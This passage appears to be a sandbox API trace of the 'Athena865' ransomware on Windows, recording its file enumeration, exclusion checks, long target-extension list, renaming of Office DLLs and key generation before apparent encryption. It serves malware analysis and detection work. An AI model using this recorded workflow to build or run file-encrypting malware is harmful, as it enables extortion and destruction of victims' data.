(lpString="owc") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0111.931] lstrlenW (lpString="p96") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0111.931] lstrlenW (lpString="p97") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0111.931] lstrlenW (lpString="pan") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0111.931] lstrlenW (lpString="pdb") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0111.931] lstrlenW (lpString="pdm") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0111.931] lstrlenW (lpString="pnz") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0111.931] lstrlenW (lpString="qry") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0111.931] lstrlenW (lpString="qvd") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0111.931] lstrlenW (lpString="rbf") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0111.931] lstrlenW (lpString="rctd") returned 4 [0111.931] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0111.931] lstrlenW (lpString="rod") returned 3 [0111.931] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0111.932] lstrlenW (lpString="rodx") returned 4 [0111.932] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0111.932] lstrlenW (lpString="rpd") returned 3 [0111.932] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0111.932] lstrlenW (lpString="rsd") returned 3 [0111.932] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0111.932] lstrlenW (lpString="sas7bdat") returned 8 [0111.932] lstrcmpiW (lpString1="EERR.DLL", lpString2="sas7bdat") returned -1 [0111.932] lstrlenW (lpString="sbf") returned 3 [0111.932] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0111.937] lstrlenW (lpString="scx") returned 3 [0111.937] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0111.937] lstrlenW (lpString="sdb") returned 3 [0111.937] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0111.937] lstrlenW (lpString="sdc") returned 3 [0111.937] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0111.937] lstrlenW (lpString="sdf") returned 3 [0111.937] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0111.937] lstrlenW (lpString="sis") returned 3 [0111.937] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0111.937] lstrlenW (lpString="spq") returned 3 [0111.937] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0111.937] lstrlenW (lpString="te") returned 2 [0111.937] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0111.937] lstrlenW (lpString="teacher") returned 7 [0111.937] lstrcmpiW (lpString1="ERR.DLL", lpString2="teacher") returned -1 [0111.937] lstrlenW (lpString="tmd") returned 3 [0111.937] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0111.938] lstrlenW (lpString="tps") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0111.938] lstrlenW (lpString="trc") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0111.938] lstrlenW (lpString="trc") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0111.938] lstrlenW (lpString="trm") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0111.938] lstrlenW (lpString="udb") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0111.938] lstrlenW (lpString="udl") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0111.938] lstrlenW (lpString="usr") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0111.938] lstrlenW (lpString="v12") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0111.938] lstrlenW (lpString="vis") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0111.938] lstrlenW (lpString="vpd") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0111.938] lstrlenW (lpString="vvv") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0111.938] lstrlenW (lpString="wdb") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0111.938] lstrlenW (lpString="wmdb") returned 4 [0111.938] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0111.938] lstrlenW (lpString="wrk") returned 3 [0111.938] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0111.938] lstrlenW (lpString="xdb") returned 3 [0111.939] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0111.939] lstrlenW (lpString="xld") returned 3 [0111.939] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0111.939] lstrlenW (lpString="xmlff") returned 5 [0111.939] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0111.939] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.Athena865") returned 76 [0111.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.athena865"), dwFlags=0x1) returned 1 [0111.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.946] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43408) returned 1 [0111.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0111.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.946] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.947] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.947] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.947] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac90, lpName=0x0) returned 0x154 [0111.959] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac90) returned 0x100000 [0111.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.969] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.969] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0111.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0111.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.969] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0111.970] CloseHandle (hObject=0x154) returned 1 [0111.970] CloseHandle (hObject=0x17c) returned 1 [0111.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0111.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.970] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0111.970] lstrcmpiW (lpString1="ACEES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.970] lstrcmpiW (lpString1="ACEES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.970] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".") returned 1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="..") returned 1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="windows") returned -1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="bootmgr") returned -1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="temp") returned -1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="pagefile.sys") returned -1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="boot") returned -1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="ids.txt") returned -1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="ntuser.dat") returned -1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="perflogs") returned -1 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2="MSBuild") returned -1 [0111.971] lstrlenW (lpString="ACEES.DLL") returned 9 [0111.971] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEES.DLL" | out: lpString1="ACEES.DLL") returned="ACEES.DLL" [0111.971] lstrlenW (lpString="ACEES.DLL") returned 9 [0111.971] lstrlenW (lpString="Athena865") returned 9 [0111.971] lstrlenW (lpString=".dll") returned 4 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".dll") returned 1 [0111.971] lstrlenW (lpString=".lnk") returned 4 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".lnk") returned 1 [0111.971] lstrlenW (lpString=".ini") returned 4 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".ini") returned 1 [0111.971] lstrlenW (lpString=".sys") returned 4 [0111.971] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".sys") returned 1 [0111.971] lstrlenW (lpString="ACEES.DLL") returned 9 [0111.971] lstrlenW (lpString="bak") returned 3 [0111.971] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0111.971] lstrlenW (lpString="ba_") returned 3 [0111.971] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0111.971] lstrlenW (lpString="dbb") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0111.972] lstrlenW (lpString="vmdk") returned 4 [0111.972] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0111.972] lstrlenW (lpString="rar") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0111.972] lstrlenW (lpString="zip") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0111.972] lstrlenW (lpString="tgz") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0111.972] lstrlenW (lpString="vbox") returned 4 [0111.972] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0111.972] lstrlenW (lpString="vdi") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0111.972] lstrlenW (lpString="vhd") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0111.972] lstrlenW (lpString="vhdx") returned 4 [0111.972] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0111.972] lstrlenW (lpString="avhd") returned 4 [0111.972] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0111.972] lstrlenW (lpString="db") returned 2 [0111.972] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0111.972] lstrlenW (lpString="db2") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0111.972] lstrlenW (lpString="db3") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0111.972] lstrlenW (lpString="dbf") returned 3 [0111.972] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0111.973] lstrlenW (lpString="mdf") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0111.973] lstrlenW (lpString="mdb") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0111.973] lstrlenW (lpString="sql") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0111.973] lstrlenW (lpString="sqlite") returned 6 [0111.973] lstrcmpiW (lpString1="ES.DLL", lpString2="sqlite") returned -1 [0111.973] lstrlenW (lpString="sqlite3") returned 7 [0111.973] lstrcmpiW (lpString1="EES.DLL", lpString2="sqlite3") returned -1 [0111.973] lstrlenW (lpString="sqlitedb") returned 8 [0111.973] lstrcmpiW (lpString1="CEES.DLL", lpString2="sqlitedb") returned -1 [0111.973] lstrlenW (lpString="xml") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0111.973] lstrlenW (lpString="$er") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0111.973] lstrlenW (lpString="4dd") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0111.973] lstrlenW (lpString="4dl") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0111.973] lstrlenW (lpString="^^^") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0111.973] lstrlenW (lpString="abs") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0111.973] lstrlenW (lpString="abx") returned 3 [0111.973] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0111.973] lstrlenW (lpString="accdb") returned 5 [0111.973] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0111.973] lstrlenW (lpString="accdc") returned 5 [0111.974] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0111.974] lstrlenW (lpString="accde") returned 5 [0111.974] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0111.974] lstrlenW (lpString="accdr") returned 5 [0111.974] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0111.974] lstrlenW (lpString="accdt") returned 5 [0111.974] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0111.974] lstrlenW (lpString="accdw") returned 5 [0111.974] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0111.974] lstrlenW (lpString="accft") returned 5 [0111.974] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0111.974] lstrlenW (lpString="adb") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.974] lstrlenW (lpString="adb") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.974] lstrlenW (lpString="ade") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0111.974] lstrlenW (lpString="adf") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0111.974] lstrlenW (lpString="adn") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0111.974] lstrlenW (lpString="adp") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0111.974] lstrlenW (lpString="alf") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0111.974] lstrlenW (lpString="ask") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0111.974] lstrlenW (lpString="btr") returned 3 [0111.974] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0111.974] lstrlenW (lpString="cat") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0111.975] lstrlenW (lpString="cdb") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0111.975] lstrlenW (lpString="ckp") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0111.975] lstrlenW (lpString="cma") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0111.975] lstrlenW (lpString="cpd") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0111.975] lstrlenW (lpString="dacpac") returned 6 [0111.975] lstrcmpiW (lpString1="ES.DLL", lpString2="dacpac") returned 1 [0111.975] lstrlenW (lpString="dad") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0111.975] lstrlenW (lpString="dadiagrams") returned 10 [0111.975] lstrlenW (lpString="daschema") returned 8 [0111.975] lstrcmpiW (lpString1="CEES.DLL", lpString2="daschema") returned -1 [0111.975] lstrlenW (lpString="db-journal") returned 10 [0111.975] lstrlenW (lpString="db-shm") returned 6 [0111.975] lstrcmpiW (lpString1="ES.DLL", lpString2="db-shm") returned 1 [0111.975] lstrlenW (lpString="db-wal") returned 6 [0111.975] lstrcmpiW (lpString1="ES.DLL", lpString2="db-wal") returned 1 [0111.975] lstrlenW (lpString="dbc") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0111.975] lstrlenW (lpString="dbs") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0111.975] lstrlenW (lpString="dbt") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0111.975] lstrlenW (lpString="dbv") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0111.975] lstrlenW (lpString="dbx") returned 3 [0111.975] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0111.976] lstrlenW (lpString="dcb") returned 3 [0111.976] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0111.976] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0111.976] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0111.976] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0111.976] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0111.976] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0111.976] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.Athena865") returned 75 [0111.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.athena865"), dwFlags=0x1) returned 1 [0111.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.986] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1012648) returned 1 [0111.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0111.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.986] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.987] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.987] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.987] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf76b0, lpName=0x0) returned 0x154 [0111.989] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf76b0) returned 0x2d50000 [0112.225] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.226] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.226] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.227] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.237] CloseHandle (hObject=0x154) returned 1 [0112.237] CloseHandle (hObject=0x17c) returned 1 [0112.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.242] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".") returned 1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="..") returned 1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="windows") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="bootmgr") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="temp") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="pagefile.sys") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="boot") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="ids.txt") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="ntuser.dat") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="perflogs") returned -1 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="MSBuild") returned -1 [0112.242] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0112.242] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEEXCH.DLL" | out: lpString1="ACEEXCH.DLL") returned="ACEEXCH.DLL" [0112.242] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0112.242] lstrlenW (lpString="Athena865") returned 9 [0112.242] lstrcmpiW (lpString1="EEXCH.DLL", lpString2="Athena865") returned 1 [0112.242] lstrlenW (lpString=".dll") returned 4 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".dll") returned 1 [0112.242] lstrlenW (lpString=".lnk") returned 4 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".lnk") returned 1 [0112.242] lstrlenW (lpString=".ini") returned 4 [0112.242] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".ini") returned 1 [0112.243] lstrlenW (lpString=".sys") returned 4 [0112.243] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".sys") returned 1 [0112.243] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0112.243] lstrlenW (lpString="bak") returned 3 [0112.243] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0112.243] lstrlenW (lpString="ba_") returned 3 [0112.243] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0112.243] lstrlenW (lpString="dbb") returned 3 [0112.243] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0112.243] lstrlenW (lpString="vmdk") returned 4 [0112.243] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0112.243] lstrlenW (lpString="rar") returned 3 [0112.243] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0112.243] lstrlenW (lpString="zip") returned 3 [0112.243] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0112.243] lstrlenW (lpString="tgz") returned 3 [0112.243] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0112.243] lstrlenW (lpString="vbox") returned 4 [0112.243] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0112.243] lstrlenW (lpString="vdi") returned 3 [0112.243] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0112.243] lstrlenW (lpString="vhd") returned 3 [0112.243] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0112.243] lstrlenW 